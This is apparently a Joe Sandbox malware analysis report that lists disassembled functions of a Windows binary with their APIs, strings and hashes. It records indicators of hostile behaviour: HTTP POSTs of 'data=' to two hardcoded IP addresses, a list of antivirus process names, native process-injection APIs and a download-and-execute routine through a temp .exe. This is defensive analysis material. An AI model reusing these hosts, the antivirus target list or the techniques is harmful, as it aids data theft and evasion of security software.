Opcode Fuzzy Hash: 24e99ca03b8a7b22beea0223d64960cda4c10f857ed4866b0de594b88d33f52b
Instruction Fuzzy Hash: 88115132728B8582EB50DB69F48435AE7E1FB84B84F805035EA8E87B98DF7DC044CB40

Function 00007FF795D11750 Relevance: 1.5, APIs: 1, Instructions: 27nativeCOMMON

Download Yara Rule

APIs

NtReadVirtualMemory.NTDLL ref: 00007FF795D1179E

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: MemoryReadVirtual
String ID:
API String ID: 2834387570-0
Opcode ID: e37ea6d5cfa663525e7d3595c83ddabc02f25026516b5b2ca3fb5f39fa489ef9
Instruction ID: 84efc10cb9756d266bb08cf94dfecca90ad9e3d502b554ae3bf04fc9ddc6826a
Opcode Fuzzy Hash: e37ea6d5cfa663525e7d3595c83ddabc02f25026516b5b2ca3fb5f39fa489ef9
Instruction Fuzzy Hash: 9CF0E27661CB8482D790DB25F48436AB7A4F788BD0F906125EA8A43B68DF7CD590CB40

Function 00007FF795D11420 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 00007FF795D11444

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 07b0131c33eac5e3efe23aa784cbfaf8d0e4a7ec67cae34542dd74c4bcf16228
Instruction ID: d5f249b4eaaffb073f7c46287f7d7c8e707fe396ec332f5c0ab30cee0eea4cd4
Opcode Fuzzy Hash: 07b0131c33eac5e3efe23aa784cbfaf8d0e4a7ec67cae34542dd74c4bcf16228
Instruction Fuzzy Hash: 8FE06D22A0806182E7709B70E44433AA1E2FB84F48FC00231E6DDC26D4EE2CCA84CB10

Function 00007FF795D3AC1C Relevance: .0, Instructions: 2COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c0d635d2ffbf617a8ed386c1eb5c9117f911d0490bef20500e44b7570a5cd06
Instruction ID: 5b9caeca18d982462db19540e43c50de0e401e72f5e3b34201bd352479386085
Opcode Fuzzy Hash: 2c0d635d2ffbf617a8ed386c1eb5c9117f911d0490bef20500e44b7570a5cd06
Instruction Fuzzy Hash:

Function 00007FF795D2EC18 Relevance: 59.7, APIs: 24, Strings: 10, Instructions: 163networksleepstringCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET ref: 00007FF795D2EC92
InternetConnectW.WININET ref: 00007FF795D2ECED
InternetCloseHandle.WININET ref: 00007FF795D2ED05
Sleep.KERNEL32 ref: 00007FF795D2ED10
HttpOpenRequestW.WININET ref: 00007FF795D2ED54
InternetCloseHandle.WININET ref: 00007FF795D2ED6C
InternetCloseHandle.WININET ref: 00007FF795D2ED77
strlen.MSVCRT ref: 00007FF795D2ED9A
HttpSendRequestA.WININET ref: 00007FF795D2EDC0
InternetCloseHandle.WININET ref: 00007FF795D2EDCF
InternetCloseHandle.WININET ref: 00007FF795D2EDDA
InternetCloseHandle.WININET ref: 00007FF795D2EDE5

Strings

Content-Type: application/x-www-form-urlencodedConnection: close, xrefs: 00007FF795D2ED89
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0, xrefs: 00007FF795D2EC8B
data=, xrefs: 00007FF795D2EC21
/data.php, xrefs: 00007FF795D2ED41
err, xrefs: 00007FF795D2ED7D
err, xrefs: 00007FF795D2ECA5
185.81.68.148, xrefs: 00007FF795D2EC3F
err, xrefs: 00007FF795D2EDEB
POST, xrefs: 00007FF795D2ED48
185.81.68.147, xrefs: 00007FF795D2EC30

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectSendSleepstrlen
String ID: /data.php$185.81.68.147$185.81.68.148$Content-Type: application/x-www-form-urlencodedConnection: close$Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0$POST$data=$err$err$err
API String ID: 2240106504-3235050614
Opcode ID: 28471d85fd49d0bd5f3af11c198ae44d0fa0b724d49c512276e690abd95f61e1
Instruction ID: 96e0684d9af4b1241d587439326eaf49bc95e5f95f3f0df22ed84df95f73e314
Opcode Fuzzy Hash: 28471d85fd49d0bd5f3af11c198ae44d0fa0b724d49c512276e690abd95f61e1
Instruction Fuzzy Hash: 7D91C73260CA9186E760EB25F49476AF7A0FBC5B94F901135EA8D83B68DF7CD449CB10

Function 00007FF795D12314 Relevance: 36.8, APIs: 11, Strings: 10, Instructions: 65libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF795D1231F
GetProcAddress.KERNEL32 ref: 00007FF795D12343
GetProcAddress.KERNEL32 ref: 00007FF795D1235C
GetProcAddress.KERNEL32 ref: 00007FF795D12375
GetProcAddress.KERNEL32 ref: 00007FF795D1238E
GetProcAddress.KERNEL32 ref: 00007FF795D123A7
GetProcAddress.KERNEL32 ref: 00007FF795D123C0
GetProcAddress.KERNEL32 ref: 00007FF795D123D9
GetProcAddress.KERNEL32 ref: 00007FF795D123F2
GetProcAddress.KERNEL32 ref: 00007FF795D1240B
FreeLibrary.KERNEL32 ref: 00007FF795D12477

Strings

NtCreateSection, xrefs: 00007FF795D123CD
NtSetInformationProcess, xrefs: 00007FF795D1239B
NtSetInformationFile, xrefs: 00007FF795D12369
NtOpenFile, xrefs: 00007FF795D123E6
ntdll.dll, xrefs: 00007FF795D12318
RtlInitUnicodeString, xrefs: 00007FF795D12382
NtClose, xrefs: 00007FF795D12337
RtlAdjustPrivilege, xrefs: 00007FF795D123B4
NtMapViewOfSection, xrefs: 00007FF795D12350
NtWriteFile, xrefs: 00007FF795D123FF

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: NtClose$NtCreateSection$NtMapViewOfSection$NtOpenFile$NtSetInformationFile$NtSetInformationProcess$NtWriteFile$RtlAdjustPrivilege$RtlInitUnicodeString$ntdll.dll
API String ID: 2449869053-1333963010
Opcode ID: 3b84ecef7e8c75bcd1d12f9525db118f6743ea869c907afc9188f40934af8a68
Instruction ID: 62dd739c5e16161ff1ed29dc1d98f0acc2f056199e62ee0bdbaa3e82eb63b99a
Opcode Fuzzy Hash: 3b84ecef7e8c75bcd1d12f9525db118f6743ea869c907afc9188f40934af8a68
Instruction Fuzzy Hash: 9941B52591AA2281EA74EF35F8C4375A3F1FF54F45F802276C49E422B8DF7CA589C260

Function 00007FF795D117C4 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 161libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 00007FF795D117E2
GetProcAddress.KERNEL32 ref: 00007FF795D117F9
GetProcAddress.KERNEL32 ref: 00007FF795D11813
FreeLibrary.KERNEL32 ref: 00007FF795D11846
RtlInitUnicodeString.NTDLL ref: 00007FF795D11881
wcsnlen.LIBCMT ref: 00007FF795D118CD
GetCurrentDirectoryW.KERNEL32 ref: 00007FF795D118E4
RtlInitUnicodeString.NTDLL ref: 00007FF795D11918
GetSystemDirectoryW.KERNEL32 ref: 00007FF795D1192B
RtlInitUnicodeString.NTDLL ref: 00007FF795D11966
RtlInitUnicodeString.NTDLL ref: 00007FF795D119A9
CreateEnvironmentBlock.USERENV ref: 00007FF795D119BF
FreeLibrary.KERNEL32 ref: 00007FF795D11A91
FreeLibrary.KERNEL32 ref: 00007FF795D11AD1
FreeLibrary.KERNEL32 ref: 00007FF795D11B08

Strings

NtCurrentPeb, xrefs: 00007FF795D11807
ntdll.dll, xrefs: 00007FF795D117DB
Diamotrixed!, xrefs: 00007FF795D1198A
RtlCreateProcessParametersEx, xrefs: 00007FF795D117ED

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: Library$FreeInitStringUnicode$AddressDirectoryProc$BlockCreateCurrentEnvironmentLoadSystemwcsnlen
String ID: Diamotrixed!$NtCurrentPeb$RtlCreateProcessParametersEx$ntdll.dll
API String ID: 1477408737-2287811734
Opcode ID: 16a03e98275a15fa7fbf00527d921ee2a87b4c912d7ee25d9fcad31013e44fa4
Instruction ID: f92427b53d4f63e80e5f93b47a8630b834a441a0c4fb51bb2540f71212d2c65e
Opcode Fuzzy Hash: 16a03e98275a15fa7fbf00527d921ee2a87b4c912d7ee25d9fcad31013e44fa4
Instruction Fuzzy Hash: E5910D32619AD591EB70DB25F4843AAB3E1FB84B81F805436C68D43BA9EF7CD149CB10

Function 00007FF795D2DA34 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET ref: 00007FF795D2DA5C
InternetOpenUrlA.WININET ref: 00007FF795D2DA9A
InternetCloseHandle.WININET ref: 00007FF795D2DAB2

Strings

Mozilla/5.0, xrefs: 00007FF795D2DA55

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: Internet$Open$CloseHandle
String ID: Mozilla/5.0
API String ID: 3289985339-2630049532
Opcode ID: d808c079d8e75f8a4ac68c4773e767ace300b3f5636902ee28373f7788d6eb60
Instruction ID: 3fd94f792fb8e4b82d36a7f4d3be2d56010d88b66acc1d88b756f662b06dd8bd
Opcode Fuzzy Hash: d808c079d8e75f8a4ac68c4773e767ace300b3f5636902ee28373f7788d6eb60
Instruction Fuzzy Hash: 7151EF3160CA9286E720AF21F49472AF7B0FBC5F95F505135E68E82AA4CF7DD445CB10

Function 00007FF795D11478 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 81libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF795D11483
GetProcAddress.KERNEL32 ref: 00007FF795D114A9

Strings

NtCreateThreadEx, xrefs: 00007FF795D11501
ntdll.dll, xrefs: 00007FF795D1147C
NtCreateProcessEx, xrefs: 00007FF795D1149D
NtQueryInformationFile, xrefs: 00007FF795D11533
NtResumeProcess, xrefs: 00007FF795D115C3
NtQuerySystemInformation, xrefs: 00007FF795D11565
NtSuspendProcess, xrefs: 00007FF795D11594
RtlCreateProcessParametersEx, xrefs: 00007FF795D114CF

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: NtCreateProcessEx$NtCreateThreadEx$NtQueryInformationFile$NtQuerySystemInformation$NtResumeProcess$NtSuspendProcess$RtlCreateProcessParametersEx$ntdll.dll
API String ID: 2574300362-3070941563
Opcode ID: fe0edb3ea2ea9d1b61de22b004e242eb16fd45174bdc196908c66df22b0c4eac
Instruction ID: 72a2c8f5dad5c33b19a972f647973e133d0a6e8cc53d994987f2e4b97cdf8c0b
Opcode Fuzzy Hash: fe0edb3ea2ea9d1b61de22b004e242eb16fd45174bdc196908c66df22b0c4eac
Instruction Fuzzy Hash: 51419A3590DB6681EA70EF24F48437AA7F4FB98B94F802275D58E06768DF3CD185CA20

Function 00007FF795D3092C Relevance: 25.7, APIs: 17, Instructions: 155memoryfileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF795D30973
GetFileSize.KERNEL32 ref: 00007FF795D30994
GetProcessHeap.KERNEL32 ref: 00007FF795D309AA
HeapAlloc.KERNEL32 ref: 00007FF795D309C3
CloseHandle.KERNEL32 ref: 00007FF795D309DB

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: FileHeap$AllocCloseCreateHandleProcessSize
String ID:
API String ID: 4026551389-0
Opcode ID: dad4417b183fee83f8e059b4764bb9658e6ee4e87390e1ce80ae04f4a6b01d07
Instruction ID: bccc5d2e1362a053ad7c12993d9ce0bb0d33f257922fab5c7d23fcf55177c1ae
Opcode Fuzzy Hash: dad4417b183fee83f8e059b4764bb9658e6ee4e87390e1ce80ae04f4a6b01d07
Instruction Fuzzy Hash: 35812532609B8182EB60DB65F48432AE7A0FBC9B95F505035EA8E83B68DF7CD445CB10

Function 00007FF795D2CEB8 Relevance: 21.1, APIs: 3, Strings: 9, Instructions: 103COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF795D2D16F), ref: 00007FF795D2CF02

Strings

avgui.exe, xrefs: 00007FF795D2CF89
AvastSvc.exe, xrefs: 00007FF795D2CF5A
360ts.exe, xrefs: 00007FF795D2CFCD
MsMpEng.exe, xrefs: 00007FF795D2CF2B
360sd.exe, xrefs: 00007FF795D2CFE2
AvastAntivirus.exe, xrefs: 00007FF795D2CF6F
avgnext.exe, xrefs: 00007FF795D2CFB3
AvastUI.exe, xrefs: 00007FF795D2CF45
avgwdsvc.exe, xrefs: 00007FF795D2CF9E

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: CloseHandle
String ID: 360sd.exe$360ts.exe$AvastAntivirus.exe$AvastSvc.exe$AvastUI.exe$MsMpEng.exe$avgnext.exe$avgui.exe$avgwdsvc.exe
API String ID: 2962429428-2792874574
Opcode ID: 4ea5b1be55232d26d753203b733671219c7c2ad8b1cc2637dc4e508cc27a149c
Instruction ID: 093dffeddd0fadb0d409dcf39b08bd352d441c805a40632ebf38c7a68344a9b8
Opcode Fuzzy Hash: 4ea5b1be55232d26d753203b733671219c7c2ad8b1cc2637dc4e508cc27a149c
Instruction Fuzzy Hash: BF514B11A0CA6350EB30B735E5D137AE6D0EF80B98FD02231E59D865EADF6CDA46C721

Function 00007FF795D1DF2C Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF795D1DF44

Part of subcall function 00007FF795D40610: _lock.LIBCMT ref: 00007FF795D40622

_Yarn.LIBCPMTD ref: 00007FF795D1DF55
_Yarn.LIBCPMTD ref: 00007FF795D1DF66
_Yarn.LIBCPMTD ref: 00007FF795D1DF77
_Yarn.LIBCPMTD ref: 00007FF795D1DF88
_Yarn.LIBCPMTD ref: 00007FF795D1DF99
_Yarn.LIBCPMTD ref: 00007FF795D1DFAA
std::bad_exception::bad_exception.LIBCMTD ref: 00007FF795D1DFC3

Part of subcall function 00007FF795D1E454: std::exception::exception.LIBCMT ref: 00007FF795D1E46C

_CxxThrowException.LIBCMT ref: 00007FF795D1DFD4

Part of subcall function 00007FF795D32504: RtlPcToFileHeader.NTDLL ref: 00007FF795D32593
Part of subcall function 00007FF795D32504: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF795D404BE), ref: 00007FF795D325D2

std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF795D1DFE3

Strings

bad locale name, xrefs: 00007FF795D1DFB7

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: Yarn$Exceptionstd::_$FileHeaderLocinfo::_Locinfo_ctorLockitLockit::_RaiseThrow_lockstd::bad_exception::bad_exceptionstd::exception::exception
String ID: bad locale name
API String ID: 3938507140-1405518554
Opcode ID: ad999236b8d4008b2380ea14d0df8985624ecf54030ce66e7ee12e07fe8f9879
Instruction ID: 9590269a121dea439939c153cc0ec8ed205609f85c3193035485c8cb5e4a2972
Opcode Fuzzy Hash: ad999236b8d4008b2380ea14d0df8985624ecf54030ce66e7ee12e07fe8f9879
Instruction Fuzzy Hash: CA11E951F08B9642EE14FBBAE49116DE3A0EF81F94F802035E98D0B76AEFACD0158754

Function 00007FF795D2B728 Relevance: 18.2, APIs: 12, Instructions: 244COMMON

Download Yara Rule

APIs

_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF795D2B778
_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF795D2B826
char_traits.LIBCPMTD ref: 00007FF795D2B8FD
char_traits.LIBCPMTD ref: 00007FF795D2B9AC
char_traits.LIBCPMTD ref: 00007FF795D2BA00
char_traits.LIBCPMTD ref: 00007FF795D2BA6F
char_traits.LIBCPMTD ref: 00007FF795D2BAB6
char_traits.LIBCPMTD ref: 00007FF795D2BB33
char_traits.LIBCPMTD ref: 00007FF795D2BB93

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: char_traits$Mtx_guardMtx_guard::~_
String ID:
API String ID: 3950283302-0
Opcode ID: 26e523eaab64f351134ad44a1117f834685a3f9a05b7fda99f5919bc6b6d8d46
Instruction ID: b0f52adfd010c65406a8f86471f7356eb58b24b1c2224e1c135a9944ec5c1150
Opcode Fuzzy Hash: 26e523eaab64f351134ad44a1117f834685a3f9a05b7fda99f5919bc6b6d8d46
Instruction Fuzzy Hash: 7DD1C766A0DBC181DA74EB65F4953AEF3A1FBC9B84F405132DA8D43B6ADF2CD0408B11

Function 00007FF795D2DC08 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 62stringCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32 ref: 00007FF795D2DC2B
GetTempFileNameA.KERNEL32 ref: 00007FF795D2DC53
lstrcpyA.KERNEL32 ref: 00007FF795D2DCA3
lstrcpyA.KERNEL32 ref: 00007FF795D2DCE1
ShellExecuteExA.SHELL32 ref: 00007FF795D2DD53

Strings

p, xrefs: 00007FF795D2DCF1
tmp, xrefs: 00007FF795D2DC44
.exe, xrefs: 00007FF795D2DC99
@, xrefs: 00007FF795D2DD0A
open, xrefs: 00007FF795D2DD1B

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: Templstrcpy$ExecuteFileNamePathShell
String ID: .exe$@$open$p$tmp
API String ID: 3481378980-1541851258
Opcode ID: 5c69159e7257d6518b28d152e0a484615bf9003ab4f5bea52d68b51e3ab49161
Instruction ID: 4946b5426b811239648c6daca3fa2fbb275df41322c8e21594bafb2a5f353b7c
Opcode Fuzzy Hash: 5c69159e7257d6518b28d152e0a484615bf9003ab4f5bea52d68b51e3ab49161
Instruction Fuzzy Hash: 9C310A72619B8595EB70EF24F4843AAB7E4FB84B94F801235D68D42AA8DF7CD548CB10

Function 00007FF795D2DD68 Relevance: 16.6, APIs: 11, Instructions: 118stringfileCOMMON

Download Yara Rule

APIs

strtok.LIBCMT ref: 00007FF795D2DD9A

Part of subcall function 00007FF795D3332C: _getptd.LIBCMT ref: 00007FF795D3334B

lstrcpyA.KERNEL32 ref: 00007FF795D2DDBD
strtok.LIBCMT ref: 00007FF795D2DDCC
lstrlenA.KERNEL32 ref: 00007FF795D2DDE3
lstrcmpA.KERNEL32 ref: 00007FF795D2DE4D
DeleteFileA.KERNEL32 ref: 00007FF795D2DE82
CopyFileA.KERNEL32 ref: 00007FF795D2DE98
SetFileAttributesA.KERNEL32 ref: 00007FF795D2DEA8
lstrcmpA.KERNEL32 ref: 00007FF795D2DEC2
strtok.LIBCMT ref: 00007FF795D2DEF7
lstrlenA.KERNEL32 ref: 00007FF795D2DF0E

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: Filestrtok$lstrcmplstrlen$AttributesCopyDelete_getptdlstrcpy
String ID:
API String ID: 3928754753-0
Opcode ID: 69ab1e02483d50d6a6ebcaefcdd74d7f8472b56b7eb2f8c7d3e698012a23ad34
Instruction ID: 3f83a530db439dd9723078e748d1c43029bf8d5566fdca25fd9fb96b61697c0a
Opcode Fuzzy Hash: 69ab1e02483d50d6a6ebcaefcdd74d7f8472b56b7eb2f8c7d3e698012a23ad34
Instruction Fuzzy Hash: 7F51F02261CA9581DB70EB25F49437EA3E0FBC8B88F805135E68D87A99DF3CD645C714

Function 00007FF795D3001C Relevance: 16.5, APIs: 1, Strings: 10, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

